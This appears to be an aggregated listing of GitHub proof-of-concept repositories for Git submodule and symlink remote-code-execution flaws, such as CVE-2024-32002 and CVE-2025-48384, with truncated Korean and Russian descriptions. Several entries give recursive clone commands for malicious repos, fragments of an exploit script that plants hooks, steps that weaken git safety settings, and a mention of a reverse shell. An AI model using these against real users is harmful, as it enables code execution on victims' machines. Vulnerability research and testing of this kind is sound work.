CVE-2025-48384-poc

CVE-2025-48384-poc CVE-2025-48384는 git에서 부적절한 링크 확인링크 추적 취약점의 형태를 띠고 있습니다. 구체적으로, 캐리지 리턴이 포함된 파일 이름이 .git/config에서 부적절하게 파싱되며, 서브모듈 훅 디렉토리로 서브모듈에 위치한 git 훅 실행 파일을 가리키는 심볼릭 링크를 포함하면 git clone --recursive로 리포지토리를 클론할 때 임의 코드 실행으로 이어질 수 있습니다. Microsoft Windows용 Git은 이 취약점의 영향을 받지 않으며, 주로 Linux 및...

CVE-2017-1000117

Git 취약점 CVE-2017-1000117을 확인하기 위한 테스트 저장소 작동 방식 이 저장소를 재귀적으로 클론하세요. 「うんこもりもり」대략 "똥이 잔뜩"이라는 뜻 문장이 터미널에 표시됩니다. $ git clone --recursive https://github.com/greymd/CVE-2017-1000117.git Cloning into 'CVE-2017-1000117'... remote: Counting objects: 5, done. remote: Compressing objects: 100% 4/4, done...

git_rce

CVE-2024-32002 PoC 1. 다음과 같이 git의 심볼릭 링크 옵션을 설정해야 합니다: git config --global core.symlinks true 2. 그런 다음 다음 명령으로 CVE-2024-32002를 악용합니다: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 공격 시나리오 kali192.168.216.129 --원격 저장소 주소 전달-- Win192.168.216.130 kali192.168.216.129 --Git clone 및...

CVE-2024-32002-Exploit

!/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

CVE-2025-48384

CVE-2025-48384: Взлом git с помощью возврата каретки и RCE при клонировании Воспроизведено из https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. Все заслуги принадлежат David Leadbeater. Это базовая попытка воспроизведения уязвимости. Чтобы вызвать, выполните git clone --recursive...

CVE-2025-48384

CVE-2025-48384 PoC 주의사항 본 리포지토리는 보안 교육용으로 작성되었습니다. 악용은 삼가해주세요. 본 취약점은 디렉터리 이름에 \r을 포함해야 하므로, Linux/Unix 계열이 영향을 받습니다. 아래는 영향을 받는 Git 버전입니다. v2.43.x 계열 - v2.43.7 미만 v2.44.x 계열 - v2.44.4 미만 v2.45.x 계열 - v2.45.4 미만 v2.46.x 계열 - v2.46.4 미만 v2.47.x 계열 - v2.47.3 미만 v2.48.x 계열 - v2.48.2 미만 v2.49.x 계열 -...

Fix-CVE-2017-1000117

Test repository로 Git의 취약점 CVE-2017-1000117을 확인하고, git 버전을 업그레이드해 보세요. $ git clone --recursive https://github.com/shogo82148/Fix-CVE-2017-1000117.git 이 저장소는 https://github.com/greymd/CVE-2017-1000117 에서 영감을 받았습니다. 사용자의 git이 안전한지 확인하려면 --recursive 옵션을 사용하여 clone하세요...

CVE-2017-1000117_wasawasa

Test repository to check Git's vulnerability CVE-2017-1000117 어떻게 작동하나요? 이 저장소를 재귀적으로 클론하세요. $ git clone --recursive https://github.com/sasairc/CVE-2017-1000117wasawasa.git 원본 greymd/CVE-2017-1000117...

CVE-2024-32002

CVE-2024-32002 RCE PoC Обзор Этот репозиторий содержит Proof of Concept PoC для CVE-2024-32002, уязвимости удаленного выполнения кода RCE в подмодулях Git. Эксплойт демонстрирует, как вредоносная нагрузка может быть запущена при рекурсивном клонировании Git-репозитория. Настройка репозитория Пере...

CVE-2024-32002

CVE-2024-32002 RCE PoC 개요 이 저장소는 Git 서브모듈의 원격 코드 실행RCE 취약점인 CVE-2024-32002에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 악성 페이로드가 Git 저장소의 재귀적 클론을 통해 트리거될 수 있는 방법을 보여줍니다. 저장소 설정 PoC를 실행하기 전에 원격 Git 서버에 다음 저장소를 생성하거나 필요에 따라 이름을 변경하십시오: hulk.git submod.git smash.git 이름을 변경한 경우 PoC 스크립트의 저장소 경로도 그에 맞게 업데이트하십시오. 익스플...

CVE-2025-48384-POC

Для запуска выполните git clone --recursive https://github.com/fishyyh/CVE-2025-48384-POC.git на уязвимой версии git, и вы обнаружите, что внезапно появляется файл /tmp/sectest...

cve-2025-48384-poc

CVE-2025-48384 PoC 이 개념 증명은 Git의 CR-path 서브모듈 구문 분석 취약점을 보여주며, git clone --recurse-submodules 중 임의의 훅 실행으로 이어집니다. ⚠️ 경고 이것은 교육 및 테스트 목적으로만 사용됩니다. 프로덕션 환경에서 실행하지 마십시오. 🧪 사용법 git clone https://github.com/yourname/cve-2025-48384-poc.git cd cve-2025-48384 chmod +x generatepoc.sh ./generatepoc.sh cd...

CVE-2024-32002

GIT RCE CVE-2024-32002 설명 | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | 익스플로잇 | 먼저 git에 "calledrepo"와 "commandrepo" 리포지토리를 생성해야 합니다. | 피해자는 나중에 "git clone --recursive calledrepo.git"로 calledrepo를 호출하게 되며, 이는 commandrepo로 리디렉션되어 후크 스크립트를 실행합니다. | 이 bash 리버스쉘...

CVE-2024-32002

CVE-2024-32002 CVE-2024-32002를 기반으로 한 간단한 익스플로잇 스크립트입니다. 사용 방법 먼저, GitHub 또는 GitLab에 빈 저장소 2개를 생성합니다. 그다음, 이 스크립트를 git clone하고 실행합니다. 마지막으로: git clone –recursive repo2를 실행하여 자동 RCE를 수행합니다...

Cve-2024-32002-poc

CVE-2024-32002 RCE PoC 개요 이 저장소는 Git 서브모듈의 원격 코드 실행RCE 취약점인 CVE-2024-32002에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 Git 저장소를 재귀적으로 클론할 때 악성 페이로드가 트리거되는 방식을 보여줍니다. 저장소 설정 PoC를 실행하기 전에 원격 Git 서버에 다음 저장소를 생성하거나 필요에 따라 이름을 변경하세요: hulk.git submod.git smash.git 이름을 변경한 경우 PoC 스크립트의 저장소 경로도 그에 맞게 업데이트하세요. 익스플로잇 세부...

CVE-2017-1000117

CVE-2017-1000117 악의적인 공격자는 교묘하게 구성된 "ssh://..." 링크를 통해 피해자가 프로그램 실행 등의 상황에서 해당 악성 링크에 접속하도록 하여 명령 실행을 달성할 수 있습니다. 이 링크는 git 프로젝트의 .gitmodules 파일에 배치될 수 있습니다. 이렇게 하면 피해자가 프로젝트에 대해 git clone --recurse-submodules / git clone --recursive 작업을 수행할 때 보안 문제가 발생합니다. 준비 작업: 리눅스 명령줄에 입력 printf 'a'...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Конфигурация Docker Ngrok CVE-2018-11235-Git PoC и туннелирование с помощью docker ngrok Сборка Dockerfile $ docker build -t cve-2018-11235 . Создание пользовательской сети для ngrok $ docker network create myngroknet Запуск Git HTTP сервера $ docker run -d -p...

CVE-2017-1000117

git-client-rce 이 PoC는 교육 목적으로만 제공됩니다!!! git-client-rce PoCCVE-2017-1000117 테스트용 GIT 저장소 https://marc.info/?l=git&m=150238802328673&w=2 이 CVE는 v2.14.1 미만의 모든 git 클라이언트에 영향을 미칩니다. 테스트 시스템에서 다음을 실행하여 PoC를 확인하십시오: $git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git 실행에 성공하면...

CVE-2024-32002-poc

Bash-скрипт: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale" Initialize...

PT-2026-80517

libgit2 versions v0.27.0 through v1.9.0 built with the libssh2 SSH backend USE SSH=libssh2 contain a shell command injection vulnerability that allows remote attackers to execute arbitrary commands on an SSH server by supplying a repository path containing unescaped shell metacharacters such as...